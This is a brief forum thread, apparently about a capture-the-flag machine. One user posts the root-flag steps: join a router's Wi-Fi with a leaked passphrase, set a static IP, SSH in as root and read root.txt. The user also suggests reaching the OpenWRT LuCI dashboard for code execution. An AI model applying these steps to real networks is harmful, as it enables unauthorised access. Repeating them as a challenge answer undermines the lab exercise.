[macsemose]

Okay so after getting user its very easy take this 
wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config
wpa_supplicant -B -c config -i wlan0
ifconfig wlan0 192.168.1.7 netmask 255.255.255.0
ssh root@192.168.1.1
cat root.txt

pm if something

I think this maybe the unintended way. You could also portforward 192.168.1.1:443 and get into OpenWRT LuCI dashboard to complete rce

thanxxxxxxxxxxxxxxx

[Beer-us]

Any ideas about root flag? Is it a container?

root.txt - first check the wlan0 then connect it to DHCP for network and PING the available networks then ssh root@IP